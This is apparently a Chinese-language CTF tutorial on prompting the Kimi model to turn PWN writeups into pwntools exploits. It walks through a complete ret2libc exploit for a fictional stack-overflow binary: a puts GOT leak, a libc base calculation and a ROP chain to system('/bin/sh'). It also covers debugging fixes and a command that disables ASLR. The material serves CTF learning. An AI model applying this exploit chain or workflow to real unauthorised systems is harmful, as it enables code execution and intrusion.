1. 项目概述:当AI大模型遇上二进制安全

最近在复盘去年的网鼎杯CTF赛题,特别是几道PWN题,发现其利用链和绕过手法都相当精巧。手动写EXP(漏洞利用脚本)固然是基本功,但面对一些重复性高、模式固定的操作,比如计算偏移、构造ROP链、处理libc地址,我就在想:能不能让AI来帮我分担一部分“体力活”?正好,Kimi、DeepSeek这类国产大模型在代码理解和生成上表现越来越亮眼,尤其是对中文技术文档和代码片段的处理。于是,我尝试了一个新玩法: 将网鼎杯的官方Writeup(WP)喂给Kimi,让它理解漏洞原理,并自动生成可执行的PWN漏洞利用脚本 。这不仅仅是简单的代码翻译,而是要求AI理解漏洞成因、内存布局、利用技巧,并转化为正确的pwntools脚本。

这个尝试的核心价值在于,它探索了AI在安全研究,尤其是漏洞利用开发(Exploit Development)这一高度专业化领域的辅助潜力。对于安全研究员和CTF选手而言,AI可以成为一个不知疲倦的“初级助手”,快速处理WP中的信息,生成脚本框架,甚至提出不同的利用思路。对于初学者,这更是一个强大的学习工具,你可以通过对比AI生成的脚本和手工编写的脚本,快速理解WP中每一步操作的目的。当然,这绝不意味着AI能完全替代安全研究员的核心思考。漏洞挖掘、逻辑分析、绕过新颖缓解措施(如最新的CFI、PAC)等创造性工作,依然高度依赖人类的经验和直觉。AI辅助开发,辅助的是“开发”中那些标准化、流程化的部分,从而让我们能更聚焦于真正的挑战。

2. 核心思路与工具链搭建

2.1 整体工作流设计

要让AI有效地辅助编写PWN脚本,我们不能简单地把整个WP文档扔过去说“写个EXP”。这就像让一个刚入行的新人直接看决赛题一样,大概率会得到一堆语法正确但逻辑混乱的代码。我们需要设计一个结构化的“投喂”和“引导”流程。

我的工作流分为四个阶段:

  1. 信息预处理与提炼 :首先,我需要精读WP,将其中的关键信息结构化地提取出来。这包括目标程序的基本信息(架构、保护机制)、漏洞点详细描述、利用思路步骤、以及关键的偏移、地址信息。
  2. 分步提示与上下文构建 :将提炼出的信息,结合具体的代码片段(如反汇编关键函数、崩溃现场寄存器状态),分步骤、有逻辑地输入给Kimi。每一步都附带明确的指令,比如“请根据以上漏洞描述,编写一段代码泄露libc基地址”。
  3. 脚本生成与迭代修正 :AI生成初步代码后,我需要在一个隔离的测试环境中运行和调试。AI可能会犯一些错误,比如搞错结构体偏移、误解调用约定,或者使用了过时的pwntools API。这时就需要我进行人工修正,并将修正原因和正确代码作为反馈再次输入,让AI学习调整。
  4. 整合与优化 :将分步生成的代码模块整合成一个完整的、健壮的EXP脚本,并加入一些实战技巧,如错误处理、多架构适配、日志输出等。

这个流程的核心是 “人类把控方向,AI执行细节” 。人类负责确保漏洞逻辑的正确性和利用路径的可行性,AI则负责将自然语言描述转化为准确的Python/pwntools代码。

2.2 工具选型与配置

工欲善其事,必先利其器。以下是这个项目中使用到的核心工具栈及其配置考量:

  1. AI大模型平台:Kimi Chat

    • 选择理由 :Kimi对长上下文的支持非常出色,动辄数十万字的WP文档可以轻松输入。其对中文技术术语的理解准确,代码生成格式规范。相较于一些需要复杂配置的本地模型,Kimi网页版即开即用,交互速度快,适合快速迭代。
    • 关键配置 :在对话开始时,我会用一个“系统提示词”来设定AI的角色和能力边界。例如:“你是一个经验丰富的二进制安全研究员,精通CTF PWN题型和pwntools开发。接下来我将提供一道PWN题的Writeup,请你逐步分析,并生成对应的利用脚本。请确保代码符合Python3和最新pwntools库的规范。”
    • 使用技巧 :遇到“聊得太长”的提示时,有效的策略是开启“新会话”,并将之前对话中最重要的上下文(如漏洞类型、目标二进制名、已确定的偏移)作为新对话的初始提示,而不是试图恢复整个超长历史。
  2. 本地开发与调试环境

    • 操作系统 :Ubuntu 22.04 LTS。这是CTF和安全研究最主流的环境,工具链完整,与比赛环境兼容性好。
    • Python环境 :使用 pyenv conda 管理独立的Python 3.10+环境,避免包冲突。核心库就是 pwntools ,务必安装最新版( pip install --upgrade pwntools )。
    • 调试器 gdb + pwndbg / gef 插件。这是动态调试的黄金组合。我会将调试过程中发现的地址、内存布局等实时信息补充给AI,让生成的脚本更精准。
    • 二进制分析工具 checksec (查看保护)、 objdump / readelf (静态分析)、 ROPgadget / ropper (寻找gadget)。这些工具的输出是WP的重要组成部分,也是AI需要理解的信息源。
  3. 辅助工具链

    • Libc数据库 libc-database 或在线工具 libc.blukat.me 。当WP中提到“通过泄露某个地址查libc版本”时,AI生成的代码需要集成查询逻辑。
    • 结构化信息提取 :有时WP是图片或格式混乱的PDF。我会先用OCR工具(如 pytesseract )或PDF解析库提取文字,再用文本编辑器或简单脚本进行初步清洗,确保喂给AI的是清晰文本。

注意 :整个实验必须在完全隔离的虚拟机或容器中进行,目标二进制文件也仅限于CTF赛题或明确授权测试的程序。绝对禁止将此类方法用于对未授权真实系统的测试,这既是法律红线,也是职业道德底线。

3. 实战拆解:从WP到EXP的AI协作过程

下面,我以一道虚构的、融合了网鼎杯常见考点的栈溢出题目为例,展示完整的协作过程。题目假设为 pwn_me ,保护机制为 Partial RELRO, NX enabled, PIE disabled

3.1 阶段一:信息提炼与结构化

首先,我阅读WP,并整理出以下结构化信息,作为给AI的“需求文档”:

题目基本信息

  • 二进制文件: pwn_me (ELF 64-bit)
  • 保护: Partial RELRO, NX, No PIE (意味着GOT表可写,代码段地址固定)
  • 漏洞函数: vuln() ,内部使用 gets(buf) 读入数据, buf 位于栈上,大小0x50字节。
  • 溢出长度:需要填充0x50字节缓冲区 + 0x8字节保存的RBP,之后即可覆盖返回地址。

利用思路

  1. 第一次溢出 :覆盖返回地址为 puts@plt ,参数设置为 puts@got ,目的是泄露 puts 函数在内存中的真实地址。
  2. 计算libc基址 :利用泄露的地址减去libc中 puts 函数的偏移,得到libc基址。
  3. 第二次溢出 :再次执行 vuln() 函数,构造第二次payload。通过libc基址计算出 system 函数和字符串 "/bin/sh" 的地址。
  4. 获取shell :覆盖返回地址为 system ,参数为 "/bin/sh" 地址。

关键地址/偏移(需动态获取或计算)

  • buf 到返回地址的偏移: 0x50 + 0x8 = 0x58 (88字节)。
  • pop rdi; ret gadget的地址:需要通过 ROPgadget 在二进制文件中查找。
  • puts@plt puts@got 的地址:通过 objdump readelf 获取。
  • Libc中 puts system 的偏移:需要根据泄露的地址和libc版本确定。

3.2 阶段二:分步提示与AI代码生成

我将上述信息分步输入给Kimi。

第一步:建立连接与基础框架 我的提示词: “请用pwntools编写一个基础框架,连接到一个本地进程 ./pwn_me 。设置上下文架构为 amd64 ,日志级别为 debug 以便观察。同时,根据以下信息定义一些常量:二进制中 pop rdi; ret 这个gadget的地址是 0x4007a3 puts@plt 的地址是 0x400520 puts@got 的地址是 0x601018 。缓冲区到返回地址的偏移是88字节。”

AI生成的代码框架:

from pwn import *

# 设置上下文
context(arch='amd64', os='linux', log_level='debug')

# 定义常量
offset = 88
pop_rdi_ret = 0x4007a3
puts_plt = 0x400520
puts_got = 0x601018

# 启动进程
io = process('./pwn_me')
# 如果是远程,使用:io = remote('靶机地址', 端口号)

第二步:构造第一次溢出Payload 我的提示词: “现在,请构造第一次溢出的payload。目标是调用 puts(puts_got) 来泄露地址。payload结构应该是: [偏移量的垃圾数据] + [pop_rdi_ret gadget] + [puts_got] + [puts_plt] + [vuln函数的地址] 。这里 vuln 函数的地址是 0x400637 ,我们需要在泄露后再次返回到这里进行第二次溢出。请生成相应的代码。”

AI生成的代码:

# 第一次溢出,泄露puts的got表地址
vuln_addr = 0x400637

payload1 = b'A' * offset
payload1 += p64(pop_rdi_ret)
payload1 += p64(puts_got)
payload1 += p64(puts_plt)
payload1 += p64(vuln_addr) # 泄露后再次返回vuln函数

io.sendlineafter(b'input:', payload1) # 假设程序提示符是'input:'

# 接收泄露的地址
leaked_puts = u64(io.recvline().strip().ljust(8, b'\x00'))
log.success(f'Leaked puts address: {hex(leaked_puts)}')

这里AI准确地使用了 p64 进行打包,并使用了 sendlineafter 来稳定交互,还考虑了接收数据时可能长度不足8字节的填充处理,表现不错。

第三步:计算libc基址与二次利用 我的提示词: “假设我们已知使用的libc是 libc6_2.31-0ubuntu9.9_amd64 ,其中 puts 函数的偏移是 0x84420 system 的偏移是 0x52290 ,字符串 "/bin/sh" 的偏移是 0x1b45bd 。请根据泄露的 leaked_puts 地址计算libc基址,进而计算出 system /bin/sh 的地址。然后构造第二次payload,直接调用 system("/bin/sh") 。”

AI生成的代码:

# 已知的libc偏移(需要根据实际libc版本修改)
libc_puts_offset = 0x84420
libc_system_offset = 0x52290
libc_binsh_offset = 0x1b45bd

# 计算libc基址和其他函数地址
libc_base = leaked_puts - libc_puts_offset
system_addr = libc_base + libc_system_offset
binsh_addr = libc_base + libc_binsh_offset

log.info(f'Libc base: {hex(libc_base)}')
log.info(f'System address: {hex(system_addr)}')
log.info(f'/bin/sh address: {hex(binsh_addr)}')

# 第二次溢出,获取shell
payload2 = b'B' * offset
payload2 += p64(pop_rdi_ret)
payload2 += p64(binsh_addr)
payload2 += p64(system_addr)

io.sendlineafter(b'input:', payload2)

第四步:交互与收尾 我的提示词: “最后,在发送第二次payload后,将进程切换到交互模式,这样我们就能得到一个shell。请补充这部分代码,并添加适当的注释。”

AI生成的完整脚本收尾:

io.interactive()

3.3 阶段三:人工调试与迭代修正

AI生成的代码在逻辑上基本正确,但实际运行中可能会遇到问题。例如:

  • 问题1 io.recvline() 可能没有接收到完整的泄露地址行,或者收到了额外的换行符。这会导致 u64 解包失败。
    • 修正 :我调试后发现,泄露的地址是 puts 函数输出的唯一内容,后面可能没有换行符。于是修改为 io.recvuntil(b'\x7f') 来接收直到libc地址特征字节(0x7f)出现,或者使用 io.recv(6) 接收6个字节再填充。
    • 反馈给AI :我将这个调试过程和修正后的代码片段告诉AI:“在接收泄露地址时,使用 recvline() 可能不可靠。因为泄露的地址可能不是以换行结尾。更稳健的做法是使用 recvuntil(b'\x7f') 接收直到遇到libc地址的高位特征字节,或者直接接收固定长度。修正后的代码是: leaked_puts = u64(io.recv(6).ljust(8, b'\x00')) 。”
  • 问题2 :AI假设了libc的偏移。在实际CTF中,我们通常需要动态查找。
    • 修正 :我引入 LibcSearcher (pwntools的一个组件,需额外安装)或在线查询逻辑,让脚本更具通用性。
    • 反馈给AI :“在实际利用中,libc偏移是未知的。请修改代码,使用 from LibcSearcher import * ,在得到泄露地址后,使用 LibcSearcher('puts', leaked_puts) 来查找可能的libc版本并自动计算 system /bin/sh 的地址。”

通过这样几轮“AI生成 -> 人工调试 -> 反馈修正”的迭代,最终能得到一个健壮、可用的EXP脚本。这个过程也极大地加深了对漏洞利用每个环节的理解。

4. AI辅助的边界与进阶技巧

4.1 当前能力的边界与局限

经过多次实践,我清晰地认识到AI在PWN利用脚本编写中的能力边界:

  1. 逻辑推理与漏洞挖掘 :AI无法从零开始分析一个二进制文件并发现新漏洞。它极度依赖WP中已经提炼出的、明确的漏洞描述和利用路径。对于模糊的、需要复杂条件竞争或深入理解程序状态机的漏洞,AI目前无能为力。
  2. 环境感知与动态适配 :AI生成的代码是基于静态信息(提供的地址、偏移)。它无法感知运行时的动态变化,比如ASLR每次加载的随机化、堆布局的微妙差异、网络延迟导致的竞态条件。这些都需要人工编写循环、尝试和异常处理逻辑。
  3. 绕过高级缓解措施 :面对CFG(控制流防护)、Shadow Stack、Pointer Authentication等现代缓解机制,利用手法变得极其复杂和定制化。AI缺乏对底层CPU架构和操作系统安全机制深度交互的理解,难以生成有效的绕过代码。
  4. 代码优化与稳定性 :AI生成的代码通常是功能性的,但可能不够优化或健壮。例如,它可能不会考虑添加 sleep 来稳定堆布局,不会使用 cyclic 工具智能计算偏移,也不会编写优雅的重连和重试逻辑。

4.2 提升AI辅助效率的进阶技巧

尽管有局限,但通过一些技巧,我们可以让AI成为更得力的助手:

  1. 提供更丰富的上下文 :除了WP文字,将关键的反汇编代码片段、 checksec 输出、 gdb 调试信息(如 vmmap search 命令结果)也一并提供给AI。信息越全面,AI的理解就越准确。
  2. 使用“思维链”提示 :不要直接要求“写EXP”。而是引导AI一步步思考:“首先,我们需要确定溢出点。根据WP, gets 函数读入到大小为0x50的缓冲区……那么偏移是多少?接下来,由于NX开启,我们需要ROP……程序中有什么可用的gadget?……” 模拟人类的推理过程,让AI生成中间步骤的代码。
  3. 要求AI进行代码审查 :你可以将自己手写的EXP初稿交给AI,并提问:“请检查这段PWN利用脚本是否存在逻辑错误、内存对齐问题,或者是否有更简洁的gadget组合方式?” AI往往能发现一些疏忽的细节。
  4. 构建可复用的代码模板库 :让AI为常见的漏洞模式(如栈溢出ret2libc、格式化字符串泄露、堆漏洞中的unlink攻击)生成高度参数化的模板代码。以后遇到类似题目,只需修改几个偏移量和地址即可。
  5. 结合其他AI工具 :Kimi长于理解和生成。对于更复杂的代码逻辑或需要搜索已知漏洞模式,可以结合GitHub Copilot、Cursor等编程辅助AI,在IDE内进行实时补全和建议。

5. 常见问题与排查实录

在实际操作中,无论是AI还是我们自己,都会遇到各种问题。下面记录了一些典型问题及其解决方法,这往往是WP里不会写的“坑”。

5.1 AI生成代码的常见错误

问题现象 可能原因 排查与解决方法
TypeError: can't concat str to bytes AI可能混淆了Python的字符串( str )和字节串( bytes )。在pwntools中,payload必须由字节串构成。 检查所有地址、gadget在拼接前是否都用了 p64() / p32() 打包,或确保字符串如 b'A' * offset 是字节串。将所有字符串字面量加上 b 前缀。
脚本卡在 recv sendlineafter 1. 提示字符串不匹配。
2. 程序输出有不可见字符或换行符差异。
3. AI生成的交互逻辑与程序实际流程不符。
1. 使用 context.log_level = 'debug' 查看所有收发数据。
2. 尝试使用 io.recvuntil(b'xxx: ') ,其中的字节序列要完全匹配程序输出,包括空格和冒号。
3. 手动运行程序,观察其确切的输入输出流程,并据此修正AI代码中的交互点。
泄露的地址解包后明显错误(如很小) 1. 接收的数据长度不对, u64 解包了错误的内存内容。
2. 程序输出可能包含换行符等干扰,被 recvline() 一并接收。
1. 在 u64 前打印接收到的原始数据: log.info(io.recvline())
2. 改用 io.recvuntil(b'\x7f') io.recv(6) 来精准捕获地址数据。
3. 考虑地址可能只有6个有效字节(如 0x7fxxxxxxxxxx ),需要用 .ljust(8, b'\x00') 从右侧填充。
第二次溢出后程序崩溃,而非获得shell 1. 栈对齐问题。在x86_64下, call 指令要求栈16字节对齐,而 ret 指令后栈可能不对齐。
2. system 地址计算错误。
3. 参数传递错误(如32位和64位混淆)。
1. 在ROP链中添加一个额外的 ret gadget作为“栈对齐填充”。让AI在 pop rdi; ret 之后, system 之前,再加一个单纯的 ret 指令地址。
2. 重新核对libc基址计算过程,确认偏移是否正确,并用 gdb 附加进程验证计算出的 system 地址是否指向正确的函数。
3. 确认架构和调用约定。64位下第一个参数在 rdi

5.2 环境与工具相关的问题

  • LibcSearcher 找不到或报错 :这通常是因为本地数据库未更新或没有对应的libc版本。解决方法:1) 更新LibcSearcher数据库;2) 如果知道远程libc版本,手动下载对应的libc.so文件,在脚本中直接指定偏移;3) 使用在线API,编写一个函数根据泄露的地址去 libc.blukat.me 等网站查询。
  • 进程崩溃无核心转储 :在调试时,如果程序崩溃后没有生成core文件,无法查看崩溃现场。需要在运行脚本前,在终端执行 ulimit -c unlimited 。同时,确保系统已启用核心转储。
  • 地址随机化(ASLR) :在本地测试时,为了方便,可以暂时关闭ASLR: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space 。但务必记住,远程靶机通常是开启的,所以脚本必须能处理随机的libc和栈地址。

5.3 给AI的提示词优化心得

  • 明确指令 :使用“请编写代码…”、“请计算…”、“请修改…使其能…”等清晰动词。
  • 提供范例 :如果有一种特定的代码风格或模式你希望AI遵循,可以先给它看一小段你写的代码作为例子。
  • 分而治之 :将复杂的利用过程分解成多个子任务,逐个让AI完成。例如,“第一步,写连接和定义偏移的代码”、“第二步,写泄露函数的代码”、“第三步,写计算地址的代码”。
  • 指定格式和库 :明确要求“使用Python3和pwntools库”,“代码中需要包含详细的注释”。
  • 纠正与反馈 :当AI出错时,将错误信息和你修正后的代码一起提供给AI,并解释为什么这样改。这能帮助它在后续生成中避免同类错误。

这个项目让我深刻体会到,AI辅助开发不是魔法,它不会让一个新手瞬间变成漏洞利用专家。但它是一个强大的“力量倍增器”。它将安全研究员从大量重复、繁琐的代码编写和调试中解放出来,让我们能更专注于漏洞逻辑本身、利用链的构思和绕过手法的创新。对于学习者而言,它提供了一个永不疲倦的“对话伙伴”,你可以通过不断向它提问、验证想法来加速学习过程。未来,随着多模态模型的发展,或许我们可以直接将二进制文件、IDA反汇编视图丢给AI进行分析,那将是更激动人心的场景。但无论如何,工具的核心价值始终在于使用它的人。

更多推荐